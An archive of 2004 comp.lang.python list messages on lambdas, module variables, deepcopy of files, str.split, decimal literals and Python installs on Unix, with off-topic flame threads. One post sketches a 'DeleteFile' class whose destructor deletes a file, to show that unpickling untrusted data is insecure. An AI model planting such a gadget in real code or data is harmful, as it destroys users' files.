<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> Message-ID: <20040904.0140.57670snz@dsl.co.uk> On Thursday, in article amajorel at teezer.fr "Andre Majorel" wrote: > Are you arguing that the stability comes from the API, not from > the implementation ? If so, why has NT become more stable over > the years, since its API has not changed ? I'd like to imagine that it's because there are fewer fuckwits using it; BICBW.... -- Brian {Hamilton Kelly} bhk at dsl.co.uk "I don't use Linux. I prefer to use an OS supported by a large multi- national vendor, with a good office suite, excellent network/internet software and decent hardware support." From steven.bethard at gmail.com Fri Sep 17 03:46:12 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Fri, 17 Sep 2004 07:46:12 +0000 (UTC) Subject: "Updating" lambda functions References: <2qtl0oF139gn6U1@uni-berlin.de> Message-ID: Elaine Jackson home.com> writes: > > "Terry Reedy" udel.edu> wrote in message > news:mailman.3428.1095385637.5135.python-list python.org... > > | I am curious if there is any reason other that habit carried over from > | other languages to not write the above as > | > | def fu(x): return x > | def fu(x): return fu(x) + 17 > | etc > > In my interpreter (IDLE 1.0 on Windows 98) it causes an infinite regress. Yes, it will, exactly as the lambda version would have. (And all the solutions suggested to you for the lambda form are equally applicable to the def form.) The question is why use the lambda form when you *do* want to bind your function to a name? Basically, f = lambda args: body is equivalent to def f(args): body except that the def body is a set of statements (so you have to use 'return'), and the lambda body is a single expression. Not that it's coming any time soon, but Python 3000 is supposed to remove lambda functions, so when you really *do* want to bind a function to a name (like in your case here), it would probably be a good habit to get into to use defs instead. Steve From jeff at ccvcorp.com Wed Sep 8 17:37:29 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 08 Sep 2004 14:37:29 -0700 Subject: Variable passing between modules. In-Reply-To: References: Message-ID: <10juuqfdp6121a@corp.supernews.com> Golawala, Moiz M (GE Infrastructure) wrote: >Hi All, > >I want to pass a value between 2 modules. Both the modules are scripts (no classes involved). Does anyone know how I can do that. For eg: > >in module1 > > >if __name__ == '__main__': > someVar = 'hello' > import module2 > > >in module 2 > ># here I would like to use someVar >print someVar > > > The best way to do this is to put your module2 code inside a function, and simply call that function with someVar as an argument. --- module2.py ----- def go(somevar): print somevar --- module1.py ----- import module2 somevar = "hello" module2.go(somevar) It *is* possible to insert a variable into another module's namespace, like so: import module2 module2.somevar = somevar However, this won't accomplish what you want, because all of the code in module2 is executed when you import module2. If that code is all def statements, then you've created a bunch of functions that can be used later; however, if that code is all module-level imperative code, as you seem to be showing in your example, then it's all been executed by the time that module1 returns from the import statement. Inserting a variable into module2's namespace *will* let you use that variable as a global in any function in module2, but this has all of the drawbacks that globals always have plus a few more (tight coupling with module1, the potential to mistakenly think that rebinding module2.somevar will also rebind module1.somevar, etc)... Jeff Shannon Technician/Programmer Credit International From mj-usunto at tkb.pl Tue Sep 7 17:37:09 2004 From: mj-usunto at tkb.pl (Marcin Jurczuk) Date: Tue, 7 Sep 2004 21:37:09 +0000 (UTC) Subject: Deleting rows using PyDO from SkunkWeb References: <73d143a0.0409070752.26795880@posting.google.com> Message-ID: On 2004-09-07, Jacob Smullyan wrote: > Marcin Jurczuk wrote in message news:... > > But to answer it quickly -- the delete() method deletes a particular > instance (one row). If you want delete a range of rows with a single > SQL statement, the best way is simply to use SQL, accessing the > underlying db connection: > > c=Sessions.getDBI().conn.cursor() > c.execute("DELETE FROM SESSIONS WHERE acc_time < '333333'") > # this is equivalent to Sessions.getDBI().conn.commit() > Sessions.commit() > > Hope that helps, > > Jacob Smullyan Thx - I've wrote my own class to access SQL because it was faster than searching answer for PyDO. Next time will help :) -- Marcin Jurczuk, NIC-HDL: MJ1679-RIPE From tka at poi.sta.kungens.kemi.fi.invalid Tue Sep 21 07:49:26 2004 From: tka at poi.sta.kungens.kemi.fi.invalid (Toni Kantola) Date: Tue, 21 Sep 2004 11:49:26 +0000 (UTC) Subject: python is going to die! =( References: <10ksur1ou8hb777@corp.supernews.com> <2rafspF17n18jU1@uni-berlin.de> Message-ID: In article <2rafspF17n18jU1 at uni-berlin.de>, RPM1 wrote: > > "Tom Cocagne" ... > >> There ARE sound IDEs >> available for Python. Perhaps you should be asking why they aren't that >> popular. Three possibilities come to mind 1) Python developers are just >> plain stupid. Even though they know that quality IDEs exist and would >> increase their produtivity, there just too dumb to use them. 2) Quality >> IDEs exist and Python developers don't know about it. And 3) Python >> developers are aware of the existence and capabilities of these IDEs and >> just don't feel the need for them. >> > > I've been tinkering with Python for a long time now, (~8 years), and the > lack of a standard GUI designer is annoying, (albeit a minor annoyance). I > myself don't care for any of the existing GUI designer packages, so I just > code my GUI's without one. > > I do notice though that when I try to convince a co-worker to try Python, > the thing that seems to be the biggest turn off is the lack of an IDE with a > GUI designer included standard. I guess my point is that the lack of a > standard GUI designer is not going to bother people who know Python, but it > will prevent some, (perhaps many), outsiders from ever knowing Python > because they can't imagine programming without the IDE/GUI designer. I know > there are GUI designers available, but by the time you begin to tell > somebody that, they're already shaking their head and walking away. And you haven't tried kdevelop with qtdesigner? Or some similar combination of GTK-based IDEs/tools? -- This is my .sig. There are many like it, but this one is mine. My .sig is my best friend. It is my life. I must master it as I must master my life. Without me, my .sig is useless. Without my .sig, I am useless. From gerrit at nl.linux.org Mon Sep 13 03:06:19 2004 From: gerrit at nl.linux.org (Gerrit) Date: Mon, 13 Sep 2004 09:06:19 +0200 Subject: Problems with subclassing In-Reply-To: References: Message-ID: <20040913070619.GA18344@nl.linux.org> Alexander Stante wrote: > I have the following problem. I want to subclass from the pygame class > Surface, but I can't get it working: > > class sprite(Surface): > def __init__(self, image_array, palette): > "some code here" > > when I want to create a instance with: > > gfx.sprite(arrayi, palette) > > > I get the following error message: > TypeError: argument 1 must be sequence of length 2, not 100 > > It seems that the constructor of Surface is not overrided by the one in > sprite, but why? I think you want to override __new__, not __init__, if if could be working at all that is. GvR wrote a lengthy introduction to this (among other things) when Py 2.2 was released: google for "descriptor" and it should end up somewhere. It's also possible that Surface is not a viable baseclass at all. You may want to consult the Pygame mailing list about that. yours, Gerrit. -- Weather in Twenthe, Netherlands 13/09 08:25: 14.0?C Broken clouds mostly cloudy wind 4.5 m/s S (57 m above NAP) -- Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL. Experiences with Asperger's Syndrome: EN http://topjaklont.student.utwente.nl/english/ NL http://topjaklont.student.utwente.nl/ From harry.g.george at boeing.com Tue Sep 21 09:20:02 2004 From: harry.g.george at boeing.com (Harry George) Date: Tue, 21 Sep 2004 13:20:02 GMT Subject: Python binaries for Solaris, HP-UX References: <973u12-rta.ln1@valpo.de> <46d022-k59.ln1@valpo.de> Message-ID: Mathias Waack writes: > Paul Moore wrote: > > > Ah! That's the thing I needed. Thanks for your patience - I'll go > > and try it out. > > Please let us know if it works. I've installed only very small > packages like libxml this way. Would be interesting for other people > with the same problem... > > Mathias I've done this for python installs on Solaris, AIX, and IRIX. 1. Build up the system on a master box, complete with add-ons in site-packages. Can do this in any dirroot, but lets assume /usr/local. 2. Part of the buildup is to make a shell script /usr/local/bin/py23: export LD_LIBRARY_PATH=/usr/local/lib:${LD_LIBRARY_PATH} /usr/local/bin/python2.3 "$@" 3. Make a tar file with cd / gtar zcvf /usr/local/src/python/py23.tgz \ /usr/local/include/python2.3 \ /usr/local/lib/python2.3 \ /usr/local/bin/py23 \ /usr/local/bin/python2.3 \ /usr/local/bin/pychecker \ /usr/local/bin/pydoc \ (etc.) If you have additional required lib or share entries (e.g., for GTK), add those to the tarball. 4. Untar this in a /usr/local on another box. Set the PATH to include /usr/local/bin. Use it by entering "py23". 5. CAVEAT: This assumes the cloned box has all the needed dynamic libraries as the original box. May have to experiment before you get all the dependencies into your tarball. -- harry.g.george at boeing.com 6-6M21 BCA CompArch Design Engineering Phone: (425) 342-0007 From jjl at pobox.com Mon Sep 20 16:20:55 2004 From: jjl at pobox.com (John J. Lee) Date: 20 Sep 2004 21:20:55 +0100 Subject: bad data from urllib when run from MS .bat file References: <414cb56d$0$58900$75868355@news.frii.net> <87acvmxayq.fsf@pobox.com> <414e40a1$0$58900$75868355@news.frii.net> Message-ID: <87zn3kzo7s.fsf@pobox.com> "Stuart McGraw" writes: > "John J. Lee" wrote in message news:87acvmxayq.fsf at pobox.com... [...] > > Just a guess [...] > Did you try doing that? No. It was a guess. [...] > That would be surprising to me given that urllib is shipped with the > Python distribution, I would think that any core libs would be pretty > bombproof. (Am I being naive? :-) [...] Possibly: http://article.gmane.org/gmane.comp.python.devel/63911 But I have a fairly strong suspicion that this *isn't* a bug in urllib or Python: I think urllib regards HTTP response data simply as a binary string (as opposed to the case of URLs, where things are... uh, complicated). *I'm* certainly more naive about encodings, character sets &c. than any Python module, though ... > Of course, still possible I hosed Yes, that's possible :-) John From timr at probo.com Fri Sep 3 02:29:57 2004 From: timr at probo.com (Tim Roberts) Date: Thu, 02 Sep 2004 23:29:57 -0700 Subject: Diffs for HTMLgen References: <41358497$0$30040$e4fe514c@dreader13.news.xs4all.nl> Message-ID: <1n3gj0dascmdp04n1mcenopj6bf9sehdt4@4ax.com> Andre van der Vlies wrote: > >I've made some (minor) adjustments to HTMLgen. I added a 'style' option for >(form)buttons and a 'valign' option for table(cells).... I added 'wrap' to Textarea in my copy. As long as you're fixing it... -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From ajsiegel at optonline.com Thu Sep 2 13:06:53 2004 From: ajsiegel at optonline.com (Arthur) Date: Thu, 02 Sep 2004 17:06:53 GMT Subject: Are decorators really that different from metaclasses... References: <412C09B4.5070106@yahoo.com> <412D9F1E.6000809@yahoo.it> <10jcsuh7k4bfl41@corp.supernews.com> Message-ID: "Jeff Shannon" wrote in message news:10jcsuh7k4bfl41 at corp.supernews.com... > (I'm sure that you'll argue that the presence of those "magic" variables > is enough distinction between the two radically-different blocks of > code; I'm also pretty confident that very few people will agree with > you, and that nobody with a reasonable understanding of Python internals > will be among those few people.) It seems to me if the defining distinction is a different assignment operator rather than magic associated with naming, then much of objections I am hearing to what Paul is generally suggesting seems to fall away. I like what Paul Rubin suggested for decorators: :: It seemed to me that many folks, and certainly including some sophisticated users - witness the decorator wiki - felt more than comfortable with some declarative/definitional syntax within the function body. The discussion was stalled mostly by the realization that Guido had definitively ruled it out, not on the basis that there was general concensus that the approach had no appeal - intuitive and otherwise. Art From tim.peters at gmail.com Mon Sep 20 01:07:03 2004 From: tim.peters at gmail.com (Tim Peters) Date: Mon, 20 Sep 2004 01:07:03 -0400 Subject: Math errors in python In-Reply-To: <70b3d.1822$uz1.747@trndny03> References: <70b3d.1822$uz1.747@trndny03> Message-ID: <1f7befae04091922074718da2b@mail.gmail.com> [Chris S.] > Sqrt is a fair criticism, but Pi equals 22/7, exactly the form this > arithmetic is meant for. That's absurd. pi is 3, and nothing but grief comes from listening to fancy-pants so-called "mathematicians" trying to convince you that their inability to find integer results is an intellectual failing you should share . From http Wed Sep 15 17:51:49 2004 From: http (Paul Rubin) Date: 15 Sep 2004 14:51:49 -0700 Subject: Random Instance generation References: <494182a9.0409141247.608d365f@posting.google.com> Message-ID: <7xhdpz19qi.fsf@ruckus.brouhaha.com> balaji at email.arizona.edu (Balaji) writes: > I want to generate say 100 random instance of it... > > How can I do that.... > > I want the instance name to be like a1, a2, a3... You almost certainly want to use an array instead of all those a1,a2,... . From roo at try-removing-this.darkboong.demon.co.uk Thu Sep 2 16:42:57 2004 From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott) Date: Thu, 02 Sep 2004 21:42:57 +0100 Subject: Xah Lee's Unixism In-Reply-To: References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com> <1094153294.416994@teapot.planet.gong> Message-ID: <1094157775.808540@teapot.planet.gong> Alan Balmer wrote: > On Thu, 02 Sep 2004 20:28:16 +0100, Rupert Pigott > wrote: > > >>Alan Balmer wrote: >> >> >>>Huh? Linux is only recently paying some attention to the POSIX >>>standards. I don't know the current level of compliance, though I'm >> >>Nah, that's been going on since at least 1994 when I installed it. >> > > That's what I mean - it's been (and is still) "going on." It ain't > soup yet., and only recently (imo) has it been taken seriously. I > think pthreads were the defining point for me. PThreads is considered to be a tar-pit by far wiser people than I, so I can't blame folks for being behind the curve on this regard. > It is certainly not the case that Linux was written by following the > POSIX "recipe." I think it's fair to say it was. As I'm sure you know : Back in the early 90s you had two main flavours of UNIX, BSD & SYSV (still do I guess). Where there was any disagreement Linux generally went for the third flavour, namely POSIX... The differences showed when you used a true BSD or a true SYSV box. There also used to be quite a few references in the man pages and includes. Maybe this has changed, it's been a while since I cared enough. :/ Cheers, Rupert From albalmer at att.net Thu Sep 2 16:29:45 2004 From: albalmer at att.net (Alan Balmer) Date: Thu, 02 Sep 2004 13:29:45 -0700 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> Message-ID: <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> On Thu, 02 Sep 2004 15:38:15 -0400, Peter Hansen wrote: >CBFalconer wrote: > >> Peter Hansen wrote: >>>Brian {Hamilton Kelly} wrote: >>>>wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan" wrote: >>>>>There's a story about why railroad tracks are spaced the way they are. >>>> >>>>Is this the one about two Roman horses' arses? If so, it also accounts >>>>for the physical dimensions of the Space Shuttle's boosters. >>> >>>A quick search using Google will show that while there is a >>>certain amount of truth in the original story, most of the >>>details are wrong, and the final bit about the booster rockets >>>is unsubstantiated. But it's still a cute story. >> >> I know nothing about those stories, but it seems reasonable to me >> that the boosters would have been designed to be transportable by >> railroad, which ties their dimensions to track gauge. > >You know, it's really rather helpful when people take the time to >read the things they are trying to discuss, since quite often >those things end up answering questions that those people >might have. > >See the snapes.com article that Dave Hansen (no relation) posted >for more... and a response to your reasonable thoughts above. > The shuttle boosters are 3.7m diameter. Quite a bit larger than the gage of any railroad I've ever seen. More than you ever wanted to know: http://encyclopedia.thefreedictionary.com/Space%20Shuttle%20Solid%20Rocket%20Booster -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From tim.peters at gmail.com Mon Sep 20 16:11:50 2004 From: tim.peters at gmail.com (Tim Peters) Date: Mon, 20 Sep 2004 16:11:50 -0400 Subject: need help defining Constant memory requirement In-Reply-To: <200409201020.33427.heikowu@ceosg.de> References: <200409201020.33427.heikowu@ceosg.de> Message-ID: <1f7befae040920131118bf3a75@mail.gmail.com> [Jani Yusef] >> Got it!! Thanks for your help. >> Here is my revised and working code >> i=[1,2,3,4,5,6,3] >> s0=len(i)*(len(i)+1)/2 > > s1=0 >> for a in i: >> sum1+=a >> return (sum1-sum0)%len(i) >> I think my main malfunction was with thinking that this was mor >> ecomplex tna it was. By refocusing on the simple problem statement as >> suggested the solution came easier. Thanks again. [Heiko Wundram] > Well, actually, as Tim Peters already said, the function really isn't O(1) in > space requirement, because len(i) and sum(i) grow with O(log(n))... But okay, > probably your instructor just overlooked this... FYI, I had in mind a different (albeit related) solution, which doesn't require more bits in "a word" than are needed to hold n-1; assuming the integer n-1 takes O(1) space, then so does this approach: def finddup(iterable): result = 0 for i, x in enumerate(iterable): result ^= i ^ x return result Then, e.g., >>> N = 100000 >>> import random >>> ints = range(1, N) >>> dup = random.choice(ints) >>> dup 43816 >>> ints.append(dup) >>> random.shuffle(ints) >>> finddup(ints) 43816 >>> Of course holding n**2 takes O(1) space too, but in most languages requires faking double-precision integer arithmetic. Basing the reduction instead on that a collection of ints xor'ed with itself yields 0 allows getting away with single-precision operations. From martin at v.loewis.de Fri Sep 10 17:04:31 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 10 Sep 2004 23:04:31 +0200 Subject: Dynamic Linking Problems with Intel Compiler In-Reply-To: <5ea262fa.0409100854.efe9fe@posting.google.com> References: <5ea262fa.0409100854.efe9fe@posting.google.com> Message-ID: <414216d2$0$18984$9b622d9e@news.freenet.de> Jeff Hagelberg wrote: > Has anyone have any suggestions as to what I need to do to the the > dynamic linking to work properly? You need to pass the -export-dynamic flag to the linker that links in the embedded Python interpreter. When linking with gcc, this is achieved through -Xlinker -export-dynamic; whether this works for ifort as well, I don't know. Regards, Martin From peacock at simconv.com Sat Sep 11 17:51:56 2004 From: peacock at simconv.com (Jack Peacock) Date: Sat, 11 Sep 2004 14:51:56 -0700 Subject: Xah Lee's Unixism References: <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <2ql1k0t2cgjbmgp34ir47sv5u9ifv5tmem@4ax.com> Message-ID: "Chuck Dillon" wrote in message news:chsbod$q0i$1 at grandcanyon.binc.net... > Your argument is shallow if you direct it to the person who happens to be > holding the office of President at the moment. The President can't > introduce or pass law. > Laws no, but the definition of a law can be ambiguous. Congress has given federal agencies under the President broad power to issue regulations with the same effect as laws, but without going through the legislative process. Anyone who has ever battled with the Bureau of Land Management or ran afoul of the Endangered Species Act knows that "laws" are often created by fiat in a Washington DC office building. Then there are presidential Executive Orders which are often attempts to end run around a lack of congressional cooperation. Clinton attempted to use this to outlaw firearms posession in federal housing until the Supreme Court put a stop to it. And finally there are international treaties, which operate with the force of law but are not passed by the House of Representatives. The President signs it and the Senate confirms it, but half the legislative process is cut out. Often all that protects the country from disasters like the Kyoto Treaty is a filibuster by a Senate minority. Jack Peacock From adalke at mindspring.com Sun Sep 19 11:26:56 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sun, 19 Sep 2004 15:26:56 GMT Subject: PyYaml? In-Reply-To: References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol> Message-ID: <4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net> Chris S. wrote: > I agree completely, although I've been surprised by the general lack of > interest around here. You'd think a more secure, portable, and readable > serialization format would be welcomed with open arms, yet most of the > comments I've read past and present have been almost hostile. YAML and pickles address two different but related domains. Pickle attempts to serialize and deserialize arbitrary Python data structures. YAML serializes a subset of the data structures that can be made portable, with it seems some hooks for new datatypes. Here's a test. Can you do the following in YAML and do so securely? (Untested code.) class DeleteFile: def __init__(self, filename, yes_really = False): self.filename = filename self.yes_really = yes_really def __eq__(self, other): return (self.filename == other.filename and self.yes_really == other.yes_really) def __del__(self, remove = os.remove): if self.yes_really: try: remove(self.filename) except IOError: pass # this works for pickle. Does it work for YAML? x = DeleteFile("/path/to/important/file") ... store 'x' to YAML file ... y = ... read from YAML file assert x == y # This is insecure in pickle. Would YAML be secure? z = ... read artibtrary YAML file which may have a DeleteFile where 'yes_really' is True ... del z Or what about support for multiple inheritance? import datetime class Base1: def __init__(self, a, b): self.a = a self.b = b def speak(self): print "The", self.a, "says", self.b class Base2: def __init__(self, x): self.x = x def spell(self): print self.x, "is spelled", "-".join(list(self.x)) class Child(Base1, Base2): def __init___(self, a, b): Base1.__init__(self, a, b) Base2.__init__(self, a) self.z = datetime.datetime.now() kid = Child("goat", "baaaaa") ... save 'kid' to YAML ... animal = ... read that YAML file ... animal.speak() animal.spell() In either case, how in the world is it portable? Andrew dalke at dalkescientific.com From rnichol_rrc at yahoo.com Fri Sep 10 15:48:43 2004 From: rnichol_rrc at yahoo.com (Reid Nichol) Date: Fri, 10 Sep 2004 14:48:43 -0500 Subject: python and bit shifts and byte order, oh my! In-Reply-To: References: <9490d.126$KA1.1800@news1.mts.net> <4141e6f2$0$67058$a1866201@newsreader.visi.com> Message-ID: Phil Frost wrote: > The standard 'struct' module provides methods to specify the byte order > of the input. > > On Fri, Sep 10, 2004 at 02:13:52PM -0500, Reid Nichol wrote: > >>>The code that writes x to a file and reads it from a file is >>>what you have to worry about. >>> >> >>So, I have to handle the byte order myself during file i/o. >> >> >>Thank you Grant and Daniel! I cleared up a a bunch of my fuzziness :) It's my understanding that pack and unpack of the struct module returns strings and not rearranged integers. At any rate I would rather do it myself if only to teach myself something about this. From steve at holdenweb.com Mon Sep 27 23:02:35 2004 From: steve at holdenweb.com (Steve Holden) Date: Mon, 27 Sep 2004 23:02:35 -0400 Subject: time In-Reply-To: References: Message-ID: Bryan wrote: > can someone explain to me why i get different values for the tm_yday and > tm_isdst values? > > >>> import rfc822 > >>> rfc822.parsedate('Mar 1 01:03:59 2004') > (2004, 3, 1, 1, 3, 59, 0, 0, 0) > > >>> import time > >>> time.strptime('Mar 1 01:03:59 2004', '%b %d %H:%M:%S %Y') > (2004, 3, 1, 1, 3, 59, 0, 61, -1) > The trivial answer is "because of differences in the modules". Your question is a bit like asking "Why is the sky today not the same color as it was yesterday?" The docs for the time module explain that for strptime(): """The default values used to fill in any missing data is [sic] (1900, 1, 1, 0, 0, 0, 0, 1, -1)""" and """Support for the %Z directive is based on the values contained in tzname and whether daylight is true. Because of this, it is platform-specific except for recognizing UTC and GMT which are always known (and are considered to be non-daylight savings timezones). """ Note that strptime used only to be present if your platform's C library provided it; though I can't say for sure that's changed I believe it has. No idea when, though. The rfc822 docs for parsedate, on the other hand, specifically remark """Note that fields 6, 7, and 8 of the result tuple are not usable.""". So I suspect you are simply being disturbed by the lack of a consistency that was never intended to exist: you reads the docs and makes yer choice - ultimately, do what works in your application. carefully-not-mentioning-hobgoblins-ly y'rs - steve From csgcsg39 at hotmail.com Mon Sep 20 08:31:44 2004 From: csgcsg39 at hotmail.com (C Gillespie) Date: Mon, 20 Sep 2004 13:31:44 +0100 Subject: Using isA and getA in a python way Message-ID: Dear All, I have long list of if statements in the form of: if obj.isA(): return obj.getA() if obj.isB(): return obj.getB() if obj.isC(): return obj.getC() if obj.isD(): return obj.getD() Is there a nicer way of doing this, perhap going through the list ['A','B','C',.. Many thanks Colin From adalke at mindspring.com Mon Sep 6 05:54:27 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Mon, 06 Sep 2004 09:54:27 GMT Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <864d370904090413356356d84d@mail.gmail.com> <7GL_c.8254$w%6.2854@newsread1.news.pas.earthlink.net> Message-ID: Uncle Tim > Yup! Don't try to horn in on my lucrative channelling business, but > Guido has already said that's The Plan for Python 3000. I knew that Dutch ancestory of mine would come in handy. But as I'm only about 1/4 Dutch, I don't think it's accurate enough for channelling to be profitable, so no worries from me. Andrew dalke at dalkescientific.com From aleaxit at yahoo.com Fri Sep 3 02:11:36 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 3 Sep 2004 08:11:36 +0200 Subject: ANN: YAPDL References: <2osh02-e6i1.ln1@eskimo.tundraware.com> Message-ID: <1gjiagl.6vfxje4byo3dN%aleaxit@yahoo.com> Tim Daneliuk wrote: ... Ha ha, very funny, but I think it's quite misplaced criticism. As a Python stalwart, I'm _enthused_ to see Python-derived languages emerging. That's _exactly_ the right thing to do if you sort of like Python BUT would want to see points A, B and C changed: make your OWN language, derived from Python but with all the changes you wish. As opposed to posting here whining, clamoring, arguing or lobbying for changes to Python, or criticizing Python's design choices, with is exactly the _wrong_ thing to do and an utter waste of everybody's time. I salute with happiness the emergence of several PDL's. To me, it signifies growing awareness that Python is no experimental state-of-the art sandbox-language in which to try out your own language design idea, be they innovative ones, or old and tired ones. If you want a new experimental language that's sort like Python, spin off your own -- DON'T post here criticizing Python or trying to change it. If everybody who doesn't like aspects X or Y of Python avoided posting here about that, and went off to do their own PDL instead, the world would be a happier and better place. And should any of the changes prove their worth in the field, Python may eventually adopt them, or some variant of them -- not likely but still more likely than such adoption coming from the N-plus-1th rant here about (whatever feature it is that you desperately want to add to Python). Alex From dperl at rogers.com Tue Sep 14 15:47:08 2004 From: dperl at rogers.com (Dan Perl) Date: Tue, 14 Sep 2004 19:47:08 GMT Subject: deepcopy and file object attributes Message-ID: <0VH1d.1411$rHv1.223@news04.bloor.is.net.cable.rogers.com> Here is some code to illustrate a problem that I have: import copy class myc: def __init__(self): self.myf=file('bar.txt',"w") def foo(self): self.myf.write('hello world!') # it's going to fail for d.foo( ) c = myc() d = copy.deepcopy(c) # d.myf is created as closed del c d.foo() # ValueError: I/O operation on closed file I figured out with a debugger that d.myf gets created as a file object that is closed from the get-go. Is this the expected behavior? If so, is the behavior due to the file object (its own __deepcopy__ method) or is the behavior due to the deepcopy (it doesn't know how to get the file object open)? I already have a way to get around the problem, by overriding the __deepcopy__ method. Any other suggestions? I have seen many parallels being drawn between copy/deepcopy and pickle. Are they sharing implementations? I can definitely see a problem with pickle-ing an open file object, but I would normally expect a copy( ) to also copy the state of the file object. Am I wrong about that? Dan From carribeiro at gmail.com Mon Sep 13 12:57:27 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 13 Sep 2004 13:57:27 -0300 Subject: Small inconsistency between string.split and "".split Message-ID: <864d370904091309576330b1ed@mail.gmail.com> Hi all, While writing a small program to help other poster at c.l.py, I found a small inconsistency between the handling of keyword parameters of string.split() and the split() method of strings. I wonder if someone else had ever stumbled on it before, and if it has a good reason to work like it is. Both implementations take two parameters: the separator character and the max number of splits (maxsplit). However, string.split() accept maxsplit as a keyword parameter, while mystring.split() doesn't. In my case, it meant that I had to resort to string.split() in my example, in order to avoid having to deal with the separator. ** BTW, I had to avoid dealing with the separator for another annoying reason: I thought that I could do something like this: mystring.split(string.whitespace, 2) to preserve the default whitespace detecting behavior. But it won't work this way with neither implementation of split(). ---- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From carribeiro at gmail.com Sat Sep 25 09:33:47 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sat, 25 Sep 2004 10:33:47 -0300 Subject: Why not FP for Money? In-Reply-To: <%Y95d.2674$zG1.27@newsread3.news.pas.earthlink.net> References: <3A81C87DC164034AA4E2DDFE11D258E3022F0E@exchange.hqamor.amorhq.net> <%Y95d.2674$zG1.27@newsread3.news.pas.earthlink.net> Message-ID: <864d370904092506333b2ff6c1@mail.gmail.com> On Sat, 25 Sep 2004 08:26:35 GMT, Andrew Dalke wrote: > Carlos Ribeiro wrote: > > As a compromise, having the 'd' suffix is better than having no option > > to write true decimal point literals. > > That's not an effective argument for why a decimal point > should be made a literal. I use regular expressions much > more often than decimals -- why shouldn't Python, like > Perl, support a regular expression literal? Why not? It may be a good idea for Py3k -- instead of raw strings, why not regular expressions strings? But as far as decimals are concerned there's a difference in usage pattern. Numeric literals of any type can be used in mathematic expressions. Long expressions with class instantiation style calls are (arguably) less readable than ones involving only literals; it reads as a function call, not as a literal instantiation, in that context. Also, a numeric literal has a single value. What is the 'value' of a RE literal? If it's taken to be the RE itself (in it's compiled form), I can't see much practical use for expressions involving literals - even concatenation (ex: re1 + re2) has nasty side effects in the general case; it's better to concat the original RE strings and recompile the RE anyway. > The tension here is between these ideas: > (1) Special cases aren't special enough to break the rules. > > (2) Simple is better than complex. > > (3) Although practicality beats purity. (numbers are mine) You've put it perfectly. In my count, decimal literals win -- (2) + (3) pro, (1) against. But I do use decimals (or intend to, once it's supported by the database drivers, etc.) -- it makes (3) true for me and lessens the "special case" clause of (1). > Why is a decimal point literal special enough to break > the rule that nearly all objects (except int, string, > float, complex(!), list, tuple, dict, function, and > class -- that's quite a few) are created using a > call-style syntax? Because (in my opinion) a decimal point literal is in the same general class as the objects you've mentioned. Because a decimal point is a number, and numbers are not instantiated usin call-style syntax. Because the call-style syntax requires the use of a string as an argument to avoid practical and phylosophical problems involving the conversion of binary floats to decimal floats, and the string looks out of place in numeric expressions. Because, in the prompt, having a easy way to write numeric literals of any kind is important to allow seamless interactive use -- be it as powerful calculator, or to prototype small functions, or to test concepts. > Is it simpler to limit the number of literals, or > better to simplify making decimal literals? > > I'm against adding new literals. There hasn't been > one added since complex in ... must have been the > mid-1990s. I'm not the decision maker here but I'll > hazard to guess decimal needs to be used more widely > before making that change. It's strange, because complex numbers are much more of a special case than decimals. Decimals have a single value, complex numbers are a tuple; decimals are orderable; but complex made it to the language. It was another time, and I don't know how many people rely on Python complex numbers, but I bet that decimals have the potential to become more important in the long run. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From Mark.English at liffe.com Tue Sep 21 05:45:19 2004 From: Mark.English at liffe.com (Mark English) Date: Tue, 21 Sep 2004 10:45:19 +0100 Subject: Distutils and binaries without compilation Message-ID: <40E605146701DE428FAF21286A97D3091480DD@wphexa02.corp.lh.int> The short version of this question is how do you include binaries in a distribution without including their source ? The long version follows... I have a Python package I want to distribute internally to my company which makes use of pure python modules and C-extensions (.pyd files) under Windows (and hopefully one day Unix too). The build for the extensions is large and arduous so I do not want to include the source. I would rather just include the compiled binaries so that when the user installs the package they are written into the relevant location and the whole thing is ready to go. My structure is something like: SomePlaceOnPythonPath/ setup.py #Hard at work getting this to go Start/ __init__.py ABunchOfPyFiles.py CompiledCExtensions\ 